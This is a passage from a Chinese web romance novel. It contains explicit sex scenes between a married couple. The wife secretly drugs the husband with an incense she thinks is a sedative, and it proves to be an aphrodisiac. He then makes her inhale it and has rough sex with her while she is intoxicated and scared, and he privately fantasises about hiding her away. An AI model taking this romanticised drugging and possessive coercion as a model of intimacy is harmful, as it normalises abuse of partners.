鹿微眠看着他被沾染得红润的唇瓣,手指轻轻摩挲了一会儿,“那现在该你哄我了。” 她看着他的眼睛,“封行渊,抱我回去。” 少年顺从地俯身,单手穿过她的腿弯,将人抱起。 房门关上的声音在暗夜之中渗出几分危险气息。 屋内炭火的“噼啪”声响在脆弱的夜晚爆裂开,屋内的温度也跟着烧了起来。 极近的距离见,鹿微眠只听得到他胸膛处传来的隆隆心跳声。 一下一下撞在她身上。 比起炭火,他身上的温度更烫几分。 鹿微眠不自觉地收紧挂在他肩头的手臂,在昏暗得只有一枚灯盏的房间内再度吻上他的唇。 这次只是轻轻碰了一下,但随后,少女软唇就挪到了他下巴、脖颈……喉结。 像是突然间点燃了什么信号。 她一下子被他就近抵在了梳妆台上,将身后的妆匣都撞得泠泠作响。 他的声音哑得像是过了一层沙,制止她的行为,“这样,我会忍不住。” 鹿微眠握着他的手,将裙带一角缠在他的指尖,“没让你忍啊。” 她克制住自己砰砰作乱的心跳,颤着手轻轻一带,就帮他拆开了自己的裙带。 这过于主动的邀约,不仅考验一向矜持内敛的大家闺秀,也太过考验少年的意志力。 他不自觉地攥紧缠在自己手指间的红色裙带。 少女细嫩的腿侧触碰到微凉的空气,不过片刻就被粗粝覆盖,压住了她的膝盖缓慢摩挲而上。 看着他那只修长如白玉的手缠着艳红裙带,贴合她腿侧雪肤,还是冲击力太强。 鹿微眠还是被胀得瑟缩了一下,膝盖蹭到了膝盖蹭了下少年精壮的腰身。 又被他腰间金属冰得尾椎发酥。 单薄身形被他全然笼罩住,感受到他与生俱来的压迫感。 屋内唯一的灯盏没有熄灭,能借着微光看到那漂亮的白玉从那脆弱领地里刮出莹亮光泽。 鹿微眠不知道以后还有没有机会。 离开长安之前,她有个心愿。 鹿微眠趴在他肩头,声音很轻,“封行渊,我刚刚送了你礼物,现在我想要回礼。” “夫人想要什么?” 鹿微眠微微仰起头,伏在他耳边,“我想要你。” 第57章 迷香 话音刚落, 比方才和风细雨的缠吻更为激烈的进攻瞬间迎头而下! 这次的吻带了咬,他咬住她的下唇时,缠在他手上的裙带也跟着一同落地。 白玉缓慢且强势地没入三个。 鹿微眠的回吻被入侵打断, 趴在他肩头,浑身缩紧。 封行渊小声示意,“放松些。” “能吃下去的。” 鹿微眠的思绪控制不了身体。 越是想要放松, 就越是紧张。 封行渊也清楚地感觉到她控制不了反应。 但没关系, 他可以控制她的身体。 鹿微眠呼吸越来越急促, 趴在他的肩头抓紧了他的衣襟。 他这些时日,好像已经很了解她身上的每一个开关。 打开那些地方, 会让她不受控制地也把自己打开。 鹿微眠被陌生的触感缓慢占据。 一股股电流从尾椎攀升, 在她脑海中发出细微的爆裂声响。 火星丝丝缕缕刺激着她脆弱的神经。 此起彼伏。 所有星点与燃烧的火星在她身体和脑海中汇聚。 碾压着她脆弱的神经,直至承受不住, 轰然爆开! 鹿微眠咬着他的衣襟,双腿绷直。 足踝尚未痊愈的扭伤被勾起,疼痛紧随而来。 鹿微眠痛呼出声。 封行渊注意到她足踝伤处, 捏住那纤细之处,按揉,“这样,还要继续吗?” 鹿微眠浑身脱力, 失神片刻,浑身上下紧绷的地方都松散下来。 仿佛是被剥皮抽筋的案板鱼肉。 她沁水美眸看向别处, “要。” 夫人要求,没有不给的道理。 封行渊将人放在床榻之上。 衣裙铺开, 在暗红金粉纱帐的粼粼微光下犹如散开的花朵。 封行渊扣住她足踝上小腿三寸, 控制住不碰到她的扭伤,“正戏还没开始, 夫人就没力气了。” 没力气也好。 起码现在不紧张了。 封行渊小心仔细地观察着,花泥还会有轻微的紧蹙。 但已然是任人宰割的样子。 鹿微眠眼前光影被他笼罩住,想挪动身子,但骨头都软了。 她不敢看他,只看向纱帐外的灯盏,“还没熄灯。” 封行渊垂眸,“不熄灯。” 他就这么看着,把自己送给她。 但是这个礼物,收下有些艰难。 纵使已经做好了准备,她还是在接纳礼物的时候浑身绷直,本能地咬手指。 手很快被拉开,男人粗粝的大掌将她包裹住,侵入指缝,严丝合缝地压在耳侧。 封行渊没带面具,左眼在昏暗的灯光刺激之下,轻微发红。 红血丝也跟着越来越重,“别咬,出声。” 鹿微眠不好意思出声,憋得脸颊涨红。 浑身上下都被浸润成粉色。 封行渊觉得她真的很像扶桑花。 开了就变成令人痴迷的红。 他扣紧她的手指,缓慢俯身,“喊疼,总可以出声。” 鹿微眠诚实地呢喃道,“疼……” 但鹿微眠知道他已经很克制了。 还是疼。 像是要胀开每一寸缝隙的疼。 封行渊腰身都因控制力道而绷紧。 青筋在手臂上如同盘龙一般蛰伏,隐忍着巨大的力量感。 这份力量感只有顺着鹿微眠被紧扣的手指传入她的心脉,像是心脏都被他掌控着。 鹿微眠不敢直视他的眼睛,他的眼睛见光之后眼角暗红,真的很像是饿狠了的猛兽,被克制压抑之后更甚。 屋内热气氤氲,好像是炭火烧得太旺了。 封行渊压低身形,抚慰轻吻她的耳廓,将礼物送到底。 鹿微眠仰头,艰难地寻觅着喘息的余地。 但是好像一丝一毫的空隙都没有给她。 “很难受吗?” 鹿微眠声音细若蚊蝇,“有点。” 胀痛酸麻。 封行渊觉得很难办。 因为这个礼物还有一部分留在他这里。 但是看她好像已经要收不下了。 大抵是察觉到他的隐忍和迟疑。 鹿微眠伸手,抱住他的脖子,“我,可以的。” 封行渊扣住她的腰身,没有继续,反而是离开了些。 即便是离开,鹿微眠也没防备,被轻而易举地刺激出眼泪。 像是要将她的灵魂一并抽走。 烛火燃烧间,光影摇曳。 暗红金粉纱帐随风轻晃。 火花爆裂声响“啪”地一下,将神经都炸开。 鹿微眠哽咽。 火光灼人又滚烫。 将红烛蜡油缓慢融化成一片,又一点点吞噬进犯。 蜡油满溢而出,顺着红烛圆柱倾泻而下,又凝固成一道道滴痕。 鹿微眠眼前白光一阵一阵。 明明屋外是晴天,但是脑袋里已经开始了一场经久不息的暴风雨。 闪电闷雷一下接着一下,震得她的世界翻天覆地又潮湿不堪。 每一次闪电经过,都将那世界从头到尾劈开。 电尾扫过浓稠黑夜,将每一层乌云都剐蹭研磨开。 劈出所有暗藏的雨滴。 偏偏暴风雨肆虐之时,电闪雷鸣愈发频繁。 不行。 封行渊甚至还没反应过来。 少年轻“啧”一声,“阿眠,好快。” 鹿微眠咬唇,不想承认。 但很快又不得不承认。 先前的配合和忍耐在她世界里第二次暴风雨时,就变得烟消云散。 不知是不是暴风雨已经摧残过的原因。 再度掀起风浪,这里的一切都脆弱得不堪一击。 她浑身上下所有的神经都变得无比敏感,稍微一点风吹草动,就开始抽搐起来。 这其中尤其包括她的脚踝,很不合时宜地传来一阵抽筋剧痛。 鹿微眠嘟嘟囔囔地推他,“缓缓,疼。” 是脚踝疼。 她绷得太紧,还没好的扭伤脚踝很容易抽筋。 封行渊不得不停下来,按着她紧绷的踝骨,等她再度放松下来,再继续。 他按了一阵。 久久没有听到鹿微眠的声音,感觉到她踝骨放松,便询问着她,“还疼吗?” 依然没有回应。 封行渊转过头发现,他大概是按得太舒服,她已经睡着了。 “……” 封行渊气笑了。 当真是给她送礼物。 给她送上去,就不管他的死活了。 于他来说,才刚开始啊。 封行渊撑在她身侧,眸色由深变浅,再度变深。 恶劣思绪和理智天人交战了一会儿,才放弃了直接放进去把她欺负醒继续的念头。 要是醒过来骂他凶,收拾包袱跑了怎么办。 算了。 第1回 不能急。 以后还有的是机会。 封行渊拨了拨她的耳发,起身把人也一并抱了起来,走进沐浴间。 他把人清理干净时,偶尔手上力道重了一些,想着看看人有没有可能醒过来。 但是没有这个可能。 他夫人的睡觉功力,他还是非常清楚的。 或许是前面就耗费了太大的精力,连续快乐两回,冷不丁放松下来又被服务得很是舒服,想不睡着也难。 也或许是那云涎香的余毒,让她睡得很沉。 封行渊仍旧奉行着她乖乖夫君的行为准则。 即便是她在睡梦中也夸赞着,“罢了,今日能吞下去,也是难为夫人了。” 但其实,没全吞下去。 鹿微眠昏昏沉沉地醒过来时,早就已经天色大亮。 她睡了一个很沉的觉,醒过来有些不知今夕是何夕的意味。 鹿微眠茫然地蹭了一下床枕才想起来昨天晚上发生了什么。 她轻轻缩了缩身子,耳根泛红,将半张脸埋进了被子里。 没等仔细回忆完昨晚的事情,她忽然清醒了些。 不对。 她好像还没结束就睡着了?! 鹿微眠撑起身子,感觉到身上还残留着盈胀感。 夹杂着有些明显的疼痛。 怎么没结束还这么大感觉啊。 鹿微眠扶了扶旁边的床架,缓了一会儿。 算了睡着了就睡着了。 再继续恐怕今天她要走不了路了。 即便是如此,鹿微眠下地还是有轻微的不适感。 他人看着乖乖的,怎么生得那个样子。 鹿微眠在床榻边坐了一会儿。 还是没力气,索性摇响了床铃,叫暮云进来帮她梳洗。 她小声问着,“姑爷上值去了吗?” “是啊,姑爷要点卯的,眼下都快午时了。” 暮云说着,偷看了鹿微眠一眼,打趣道,“怎么,夫人想姑爷?” 鹿微眠被调侃得心口一颤,“不许笑话我” 暮云笑道,“成婚这么久,夫人怎么还更害羞了。” 鹿微眠生长在深闺里性格养成如此,“我已经很努力不害羞了。” 想她昨晚可是喝了酒壮胆的,还主动对着他宽衣解带,那在礼仪规矩中可是大大的不妥。 她都克服了。 昨晚半梦半醒间,她还听封行渊好像夸了她很棒。 除了她昨晚休息间隙,累得睡了过去。 他也没怪她。 他是当真的好脾气。 鹿微眠如是想着。 可是她明天就要走了。 暮云帮鹿微眠整理着衣裙,瞥见鹿微眠心不在焉地穿反了褙子,提醒道,“夫人褙子反了。” 鹿微眠这才回神。 暮云伸手将鹿微眠刚刚穿好的褙子脱下来,调转了方向,“夫人在想什么?” 鹿微眠把调转了方向的衣服整理好,“按照慕景怀当初与我约定的时间……” “是明天。” 暮云帮她系绳带的动作一顿。 当初鹿微眠和慕景怀商议的时候,她是在旁边,知道这件事的。 暮云抿唇,认真帮鹿微眠把绳带系好,“真的不能带上我吗?” 鹿微眠看她,“我又不是出去玩,你跟暮雨在家好好的。” 暮云心里有些难受,“多一个人,也好多一个帮手。” 鹿微眠听着笑了,“人太多,反而会被发现,我只能带钧宜一个。” 她跟春莺两个女孩子上路,身边带男人是最好的。 暮云凝眉,“你们要去哪啊,多久能回来?” “不用担心,”鹿微眠盘算着时间,“最多等南巡结束,我就回来了。” 暮云叹了一口气,“姑爷要是知道,肯定会生气的。” “所以先不让他知道了。”鹿微眠想着,“时间紧张,我哄他不知道要哄多久,他还不一定能答应。我走了他不答应也得答应了。” “况且我在这里于战事无益,离开长安总比坐以待毙,被人拿去当活靶子强。” “长安于我才更危险,万一我在这里真的牵连了你们得不偿失。” “说什么牵连不牵连的,我从小跟夫人一起长大,说句僭越的话,夫人跟我亲妹妹一般,即便是大难当前豁出性命……” 鹿微眠打断她,“不要胡说。” “姑爷那里你们不用担心,我会交代好的。”鹿微眠停顿了下,“他要是生气了,就等我回来多哄哄嘛。” 她印象里,跟封行渊没有生过隔夜气。 封行渊的气性不大。 在她面前一直是温温和和的。 自己家夫君,难不成还拿不住品性吗。 鹿微眠思前想后,又跑去把之前写好的书信看了一遍,加了一些东西。 全部准备好之后,封装在信封里,暂时藏进了柜子。 鹿微眠还怕他提前翻出来,把柜子里其他东西都翻了出来,信封藏在了最里面。 这才将外面放着的瓶瓶罐罐重新塞回了柜子。 塞着塞着,冷不丁一个瓶子被她撞到。 顺着木质桌案滚了出去。 鹿微眠连忙伸手去扶。 拿起来一看隐约觉得这瓶子有些眼熟。 鹿微眠细看了一会儿,反应过来,这个是当时她从那个西陵巫师的屋子里偷出来的。 好像是叫什么……醉梦。 她现在已经忘记了当时聂婵是怎么描述这个香的。 只是大概记得,这个香好像是一个迷香。 她当时给封行渊了,让他看着有没有用。 他就把这个留了下来。 鹿微眠如今对封行渊存放东西的习惯有一些认知。 比如他存放有毒的东西,会在他自己书房的暗格里。 他每次都提前告诉她,哪些东西不能碰。 鹿微眠也就不会再动。 能放在他们自己房间里的东西,通常都是没有毒性,并且日常可以用的。 她之前问过他要不要丢掉,他说以后他们兴许能用到。 鹿微眠一时半刻没想明白,封行渊为什么会觉得“醉梦”这种迷药日常能用。 但他这么做应该有他的道理。 鹿微眠思索着,重新放回了柜子里。 整理好一切之后。 她又慢腾腾地挪去她自己的小书房。 这会儿钧宜正好在里面收拾东西,看见她进来起身相迎,“夫人。” 鹿微眠问着,“你的东西都收拾好了吗?” “收拾好了。”钧宜的包裹不多,也就简简单单的一个,“夫人的扭伤可好些了,影响明日启程吗?” “好得差不多了,正常走路是可以的。反正咱们走的前几日,也只是在车上罢了,不会有什么影响的。” 鹿微眠走进书房里面,拿出来之前她收拾到一半的包裹。 这一次倒是可以把之前晾晒好的衣服放进去了。 她也没有带多少,总归是足够换洗就行了。 出门又不比在家里,还是简单些好。 鹿微眠将自己的包裹也整理好,全部交给钧宜。 “三殿下有来新的消息吗,说咱们明天什么时辰走?” 钧宜回着,“昨日来了一次消息,说等今晚丑时,就在路口接应咱们。” “我知道了。”鹿微眠心下紧张,不由得问道,“他们那边还有提起,咱们需要准备什么其他的东西吗?” 钧宜思索着,“其他的倒是没有。” “不过,我还是建议夫人带点防身的东西。” 钧宜是有一些身手的,也对此比较有经验,“女子防身,不建议带什么尖利的东西,真碰上了很容易被人抢过去来伤害你。” “夫人可以去小厨房要一些辣椒粉什么的,会很管用。” 鹿微眠觉得他说得很有道理,“好。” 她答应着正要往外走,又想起一件事,“你今早出来的时候有碰见姑爷吗?” 钧宜点头,“今早碰上了,姑爷好像很高兴。” 鹿微眠抿唇,她应该知道他为什么会高兴。 钧宜还以为鹿微眠是问事情有没有被发现,忙示意她放心,“看起来姑爷应当是没有察觉。” 鹿微眠应着声离开房间,又走到小厨房那边。 孙嬷嬷正好在小厨房,一把将钻进灶台地下的墨宝拎了出来,鸡毛掸子指着它的尾巴,“说了多少次不能钻不能钻,你看看你!” “要不是脖子上戴着玉,我还看不见你!” “哪个好人家的小猫钻灶台,你去问一问,钻灶台的小猫,那说出去都要被猫笑话的。” 墨宝也不知道听没听进去,只是猛地甩了一下头。 甩出来一脑袋灰。 呛得孙嬷嬷直打喷嚏。 鹿微眠走上前,“墨宝还钻灶台啊。” “姑娘别抱,它身上灰可多了。” 鹿微眠弯了弯唇,“无妨。” 她伸手将墨宝从孙嬷嬷手里接过来,“不能钻灶台了知道吗,很危险的。” 小动物比人更容易察觉到微妙的情绪变化。 墨宝眼巴巴地看着她,朝她喵喵叫了几声,似是试探性的轻声问话。 鹿微眠摸了摸它的脑袋,“以后听嬷嬷的话,好好吃饭喝水。” 墨宝爪子扒着鹿微眠的衣襟往上爬。 孙嬷嬷粗枝大叶,拍打完身上的灰尘,连忙上前把它拎下来,“稍等姑娘,我先给它刷洗刷洗好了你再抱。” 墨宝叫声大了起来,喵喵喵地不知道是不想洗澡,还是想要找鹿微眠。 孙嬷嬷哄它,“好了好了,一会儿抱。” 鹿微眠忽然叫住孙嬷嬷,“嬷嬷!” 孙嬷嬷脚步微顿,“怎么了?” 鹿微眠看着她。 眼前仿佛闪过了那些午夜梦回时的画面。 孙嬷嬷拉着她往外跑,在刀剑落下时,替她挡了一刀,倒在了她面前。 鹿微眠眼睫颤了一下。 这辈子,不会再这样了。 等她走了,就不会发生了。 “没什么。”鹿微眠愈发坚定了她得走的想法,轻声道,“小心些,别被墨宝抓到了。” “姑娘说了很多次了,”孙嬷嬷笑她,“怎么年纪轻轻地,跟我老婆子一样絮叨。” “你也去把这衣服也换下来,都是墨宝身上的灰。等洗干净,过两日就能穿了。” 鹿微眠看着孙嬷嬷抱墨宝先去擦身。 她不再多想,转过身,看着小厨房里摆放整齐的蔬菜水果,很快也找到辣椒粉和胡椒粉的位置。 鹿微眠轻叹了一口气,将东西收好,回到了房间。 她坐在房间里,心脏开始噗通噗通地跳。 随着时间的流逝,她的心跳逐渐加快。 很快就到了傍晚入夜。 看时辰,封行渊应当快回来了。 鹿微眠开始担心的事情就越来越多。 她今晚丑时就要走了,也不知道会不会吵醒他。 要是吵醒了怎么办呢。 鹿微眠虽然不知道吵醒后具体会发生什么。 但她知道,吵醒他被发现要跑,一定比她提前告诉他她要走,情况严重得多。 所以,不能吵醒他。 但怎么才能不吵到他。 他习武之人,想必一定很是警惕。 鹿微眠抿唇,鬼使神差地想到了刚刚她在柜子里看到的那个瓶子。 她灵机一动站起来,打开了柜子,将“醉梦”拿了出来。 对了,这不就是迷香吗。 把这个用上,应该就万无一失了。 第58章 跑路 鹿微眠翻了翻手里的瓶子, 正要细看,听见外面传来谈话声。 她先将瓶子藏了起来,随手翻了一本书, 状似认真地看着。 封行渊推开房门,看她就坐在桌前,别有深意地调侃着, “夫人昨晚睡得应当挺好的。” 鹿微眠唇线绷直, 心虚地回避视线, “还好。” 封行渊脱下外衣挂在外间,朝她走过去。 越是走近, 鹿微眠越是紧张。 面前的书本忽然间被他伸手点了一下, “拿反了。” 鹿微眠这才注意到手上的书卷是倒着的,她窘迫地将书本调转了方向, “哦。” 将书本调转过来,鹿微眠才发现这好像不是什么正常书本…… 这一页顶,写着“房中九术”。 鹿微眠忽然觉得手上仿佛捧了一个烫手山芋。 封行渊看她一瞬不瞬地盯着书本, “好看吗?” 鹿微眠硬是不想让他发现自己拿错了书,将书本立起,挡住内页,装模作样道, “还行。” 封行渊沉吟着点头,这书是他放进来的, 他当然知道里面是什么,“夫人是该好好看书。” 免得下次再那么快。 他放的这个书本, 对于鹿微眠这种乖孩子来说, 有些出格。 但他想试试看,她能不能接受。 鹿微眠想等着他走, 赶紧把书放起来。 没想到,封行渊不走了,就坐在她对面,“看不懂的,可以问我。” 鹿微眠硬着头皮说道,“能看懂。” 她故作淡定地翻了一页。 忽然间看到画面上画了一个小铃铛。 是铜铃。 图画上的男人将这个东西,放在…… 鹿微眠屏气,又匆忙翻了两页。 粗粗的绳索图画映入眼帘。 怎么还有锁扣……好可怕啊。 鹿微眠又迅速翻了两页。 情人交椅…… 她越看越有点心慌。 这里面的内容,逐渐和记忆中的一些信号连接起来。 很像是那个人的喜好。 这本书……是谁拿进来的? 封行渊盯着她看了一会儿,似乎想起来什么,突然来了一句,“还疼吗?” 鹿微眠顿了顿,对上他的眼睛,才反应过来他说的是什么。 她又迅速的低眸,“还,还好。” 他昨晚做的准备很充足了,要说很剧烈地疼痛也不至于。 只是胀痛,每一寸都被碾平的胀感现在还有。 封行渊了然地点头,“那今晚……” 鹿微* 眠咬唇,“今晚,我可以休息一下吗?” 毕竟丑时要走,她不敢折腾这些。 明天还要赶路的。 封行渊被她小心翼翼的样子弄笑了,“当然。” 他说着起身,“我去催晚膳。” 鹿微眠看他离开,才赶紧把手里的烫手山芋塞进了书架里。 晚膳鹿微眠没太有胃口,但也不能表现得太明显,陪着他吃了一会儿。 天色渐晚,鹿微眠看着月上柳稍,夜深人静。 她的心弦跟着上移的月亮一点点绷紧,连手心都沁出了冷汗。 封行渊不由得好奇,“夫人今天,有些沉默寡言。” 鹿微眠随意找了个借口,“可能是,我有点困了吧。” “既然困了,那我们就早些休息。”封行渊说着,问她,“你先沐浴,还是我先。” “我先。”鹿微眠想来出城的路还长,沐浴梳洗大概都不太方便,今晚是得好好整理一下。 她沐浴的时间长了一点,出来时看到封行渊在擦拭她送给他的面具。 封行渊将那张面具打理得很是干净整洁。 看得出来他很喜欢这个面具。 喜欢就好。 鹿微眠走上前提醒他,“我好了。” “好。”封行渊将手上的面具放好,也进了沐浴间。 鹿微眠等着他进了沐浴间,将自己藏好的那一瓶醉梦拿了出来。 她犹豫了一下,打开瓶塞,将醉梦倒了一些在暖炉里。 鹿微眠拿着帕子捂住口鼻,还是控制着用量。 毕竟她只是想让封行渊睡沉一些,也不至于真的让他晕过去。 她看着差不多了,便将瓶塞塞好,关上内室房门先离开了房间。 鹿微眠先去书房呆了一会儿。 算好时辰,等封行渊沐浴梳洗出来,那迷香应该就起效了。 等她回去先散散气味,只需要等到丑时就能走了。 鹿微眠想得很好。 等到封行渊沐浴出来约么一刻钟的功夫,鹿微眠才磨磨蹭蹭地回了房间。 而此时,封行渊刚从沐浴间出来。 环顾四周看房间里没有人,他一时间也没有在意。 许是她出去找暮云暮雨聊天了,或者找孙嬷嬷聊明日膳食食谱,都有可能。 封行渊坐在桌旁倒了一盏茶水,安静地等鹿微眠回来,一缕异香毫无征兆地钻入了他的鼻腔。 渐渐地开始蔓延到四肢百骸! 封行渊凝眉,看向异香来处。 刚刚喝下去的茶水带着温润暖意流淌而下,与异香入肺腑几乎是同时占据了他的身体意识。 茶水的暖意在异香催发之下愈发明显,聚集在腰腹。 随着异香催发,陡然间放大。 邪火燃起,让他浑身上下都躁了起来。 这味道是……醉梦。 封行渊蓦的起身想去熄灭那暖炉里的东西,却有些头晕目眩,一下子撑在桌案上。 “啪”地一声重响! 鹿微眠站在门前深吸了一口气,正想着封行渊现在应当已经睡沉了,还没打开房门就听见这么一声重响。 她一时情急,连忙开门,径直与撑在桌案边的男人对上视线。 封行渊眼底带出强烈的侵略性和攻击意图,平复了一下心绪,朝她走过来。 鹿微眠还没意识到即将发生什么,上前接他,“刚刚是不是磕到……啊!” 鹿微眠话还没说完,忽然一阵天旋地转,剧烈的失重感袭来。 她被男人单手扛上了肩头! 房门“砰”地一声关上! 等鹿微眠回过神来时,整个人都被甩到了床上。 身形随着跌下碰撞软被的力道轻弹了一下! 男人居高临下地站在床榻边,抽开寝衣系带,“夫人给我用了什么?” “我……”鹿微眠心下发颤,以为是被发现要跑了,下一瞬就被压覆而上。 掰开她的腿弯,“等等等,等下……” 封行渊胸口剧烈的起伏着,“想的话,可以直接告诉我,不用偷偷用香。” 正好他昨晚没吃多少。 什么意思。 鹿微眠几经挣扎,大吸了几口屋内浸染的浓郁花香,她的神情也渐渐恍惚起来。 紧接着身体上传来轻飘飘的感觉。 鹿微眠缓神,意识到不对劲,伸手捂住了口鼻。 封行渊扯开她的手,“点都点了,干嘛不闻。” 鹿微眠神智也轻飘飘的,任由他动作。 完了,这好像不是迷药! 男人抵着她,动作都比昨日要大胆很多。 也粗暴了一点。 鹿微眠被毫不顾忌地撞了几下,就开始害怕了。 她试着爬起来,“还,还没准备……” 要是往常,他可能会耐着性子给她准备。 可今天,是她点的香。 这香用上,根本没给他耐心准备。 封行渊甚至劣根性上涌。 夫人什么时候能被弄成不需要准备,碰一下就准备好。 他只需要把她抓住,摁在这里。 肆无忌惮地。 他眉眼幽暗。 好难装啊,这个香让他快装不下去了。 想把她绑起来,捆住。 想挂铃铛。 想弄坏。 想做好多事情…… 他按着她的腰,手掌力道重了几分。 压出了些许红印。 在她挣扎时,突然间拍了她一下。 “啪”得一声脆响。 鹿微眠愣住了。 那不轻不重的力道,拍在她臀侧。 她睁大眼睛感受被拍到的地方升出几分麻,羞耻又难以置信地看着他。 封行渊低眸,“乖一点。” 这沙哑的嗓音,让鹿微眠骤然间回到了无数个梦境之中。 她一时噤声,动也不敢动。 眼前人好像出现了熟悉的影子。 封行渊看她眼底带出的惊恐,在醉梦中强行抽回理智,压低声音,“别怕。” 他眉头紧锁,“我尽量慢些。” 封行渊的底线是,“但今晚,你不能先睡着。” 他准备的力道还是带了些破坏性。 他等不了太久。 封行渊甚至很坏地想,不然以后就在里面睡。 让她记住他的样子就好了。 鹿微眠根本没有太多时间思考,眼前的影子被打乱,失控的同时,她的世界就已经被完全占据。 这一切发生得太快。 她顾不得咬唇咬手指来抵挡发出声音,直接就被占出来细细的声音。 床幔掀动带来的微风,震得床头灯盏一晃一晃。 屋内的光影也跟着晃动起来。 暗红金粉纱帐顺着外面透亮的火光打出一阵波光粼粼的海浪,映照在她的眼前。 鹿微眠觉得自己也像是海浪上一叶孤舟。 海水灌了她一肚子,被翻卷冲刷洗礼。 那醉梦侵蚀意志,她仿佛看到一个巨浪将她狠狠地打进深海之中,扑面而来的窒息感和淹没感汹涌而上。 头晕目眩混合着难以磨灭的颠簸感,将她顶上浪尖。 接着又是巨浪翻卷,将她狠狠地打了下去。 连翻失重感,让她的灵魂仿佛都不属于自己。 鹿微眠想爬上去,又被不容置喙地拖了回去。 直到彻底沉入深海之中,浑身上下都是温润的海底暗流,拂过她身上的每一个角落。 就在她完全放松警惕之时,深海之中一头巨鲨悄无声息地靠近,突然间长大嘴巴将她一口吞了进去! 鹿微眠惊叫出声,恍惚间从幻境抽离出来意识到。 这个晚上本来应该是她偷偷溜走,先斩后奏的晚上。 小心机没使成,被按在这里。 她也不知过了多久,时间有点长了。 鹿微眠忍不住出声问道,“你怎么还没好啊。” 封行渊牢牢地盯着她,仍然控制着自己不能太凶。 甚至还是有一部分在外面。 他一直都很清楚,他需要的比寻常人要多很多。 而且,中原人习惯的温吞形式并不够。 她是很传统的中原小姑娘。 喜欢的就是温吞。 但温吞的代价就是,他好像没办法结束。 封行渊呼吸很重。 一下一下喷洒在她的颈间。 额头细密的汗珠顺着他棱角分明的下颚流淌。 忽而滴落在她胸口红痣上。 封行渊狠磨了一下后槽牙,泄露了一点点的本性,“阿眠准我绑住你,可能会快一点。” 鹿微眠心脏漏了一拍,她有点害怕。 可是不结束也不行。 在剧烈的思绪挣扎之下,封行渊看着他的小夫人可怜巴巴地伸出手,“那,那你绑吧。” 封行渊眸色瞬间暗下来。 脑海中蹦出一句粗话。 鹿微眠双手紧接着被男人剧烈的拉扯了一下。 他还是没有绑她,只是将她双手交叠,单手禁锢住,拉起按压在头顶! 然后狂风暴雨袭来,她像是一朵被风雨侵袭的杏花,东倒西歪地承受风雨。 时辰早已过了丑时。 钧宜在院子里探头探脑,始终不见鹿微眠出来。 但他们房里还点着灯。 也不知道为什么没出来。 钧宜在院子里来回踱步,心下担心。 该不会是被姑爷发现了? 眼下在发火生气呢? 钧宜如是想着也不敢上前火上浇油。 不过好在他们当初计划的时候,就有考虑到突发状况,把离开的时间弄得宽裕了一些。 南巡月底启程,三殿下十五之前把春莺送出来,今日才十二。 钧宜先去小巷前,跟前来接应的马车支会了一声。 马车先行回去。 深夜。 封行渊看着她肿起来的“伤口”,仔细地帮她涂药。 鹿微眠呆愣愣地看着桌案旁燃烧到底部的红烛,判断着时辰应该已经到了寅时。 鹿微眠思绪挣扎了一下,意识到时辰早过了,还是放弃了。 屋内的香气散得差不多。 但封行渊还饿。 他真的不懂,中原的书上说什么克己复礼,温吞节制,真的能饱吗。 怎么每次都觉得吃了跟没吃一样。 但是肿成这样是吃不了了。 夫人还是太生嫩了点。 罢了,他们来日方长。 此番比昨日有进步,起码她坚持下来了。 就在封行渊出神地帮她涂药时,手腕被一只柔弱无骨的手抓住。 封行渊抬眼看她。 鹿微眠拉他上来,“不涂了,抱抱。” 封行渊将药瓶放了起来,顺着她的手被她拉过去。 鹿微眠倚靠在他胸口。 既然今晚走不了,就先这样吧。 起码还能抱抱。 鹿微眠出神间隙,鬼使神差地道,“封行渊,我有点害怕。” 封行渊顺着她的发丝,“怕什么?” 鹿微眠没有回答。 “别怕。”封行渊声音很轻,眼底涌动起阴鸷幽然的暗流,“若是有危险,我就把夫人藏起来。” 藏到一个,谁都不知道的地方。 只能见到他。 其实他想这么做,很久了。 把她藏起来,只属于他,谁都不能多看一眼。 见面就做尽这世间最亲密的事。 鹿微眠不知道他在想什么,只是觉得这样的做法不现实。 长安城就这么大,能藏到哪里去。 藏起来跟瓮中捉鳖没有区别。 鹿微眠能听出来,他是打定了主意,不许她离开他。 她也不想走,可不行啊。 鹿微眠再度隐下了想告诉他的念头。 次日午后,封行渊早早的去上值,鹿微眠扶着腰从屋子里走出来。 现在缓过来,早知道就不用那醉梦了。 那才不是什么迷药,那根本就是迷-情-药! 用起来当真跟它的名字一样。 如梦似幻,不知天地为何物。 难怪封行渊当初没丢掉,还放在了他们的房里。 原来是这样日常调-情用的。 昨天夜里,鹿微眠起先看他红着眼睛哑着嗓子拍她说“乖一点”的样子,与他平日里的清润大相径庭。 这样的反差,让她不由得萌生些害怕的情愫。 还以为他要像那个人一样折腾她。 不过还好,她夫君是个谦谦君子,再凶也凶不到哪里去,只是时间长了点,最后掐了一下她的手腕。 但他也只是想尽快结束,他能有什么错。 就是……时间也太长了。 鹿微眠觉得都快破皮了。 即便是他给她涂了药油,也还是磨损得肿痛。 鹿微眠现在就是后悔,非常后悔。 钧宜路过,看见鹿微眠坐在回廊里,才上前道,“夫人,昨夜是……” “抱歉啊,我昨夜出了点岔子。” 鹿微眠都不敢想,昨夜丑时,他们都没结束。 “无妨,时间是咱们自己定的,十五之前走什么时候都行。”钧宜小声问着,“是姑爷发现了?” “没有。”鹿微眠反正是没法说昨晚发生了什么,索性含糊过去,“但眼下看来,得再找时间了。” 这么算着,晚上睡着也不好行动。 鹿微眠深吸了一口气,“明天,最迟明日走。” 她正想着,凌双从外面匆忙进来,左右看着,像是在找什么人。 钧宜朝凌双招手,凌双看见鹿微眠才定了神,朝鹿微眠走了过来,“夫人。” 鹿微眠起身,“怎么了?” “我是来给主子带信儿的,”凌双解释着,“最近陛下在忙着月底南巡的事情。” “原本这个差事是给了永昌伯爵府,但伯爵府出的几个,陛下都不满意,结果这个差事就落在了主子头上。” “本来是说叫主子过去,让他帮着参谋参谋,结果参谋着,就把主子留下了。” “这件事您也知道很麻烦,陛下既然要求了,那不交出一个合适的布防,不好走。” “啊?”鹿微眠凝眉,“可他又不去南巡。” 凌双叹了口气,“谁说不是。” 凌双抱怨完,想起正事,“对了,我回来是想跟夫人说一声,今晚主子恐怕回不来了。” 鹿微眠正想跟他一起抱怨,听到后面半句立马竖起了耳朵,“不回来了?” “是,起码今日是回不来了。” “那,他什么时候回来?” 凌双思索着,“早的话二月十四,最晚也能在您生辰前回来。” 鹿微眠眨了下眼睛,“我知道了。” 她还是有点庆幸,毕竟不太想直接面对复杂的交谈。 反正不论如何也不会改变她走的事实。 只是在于当面说和不当面说的区别。 那还是不当面说了。 凌双把话带到,就准备回去。 鹿微眠突然叫住了他,“你回去告诉他,不用担心我,我没事的。” 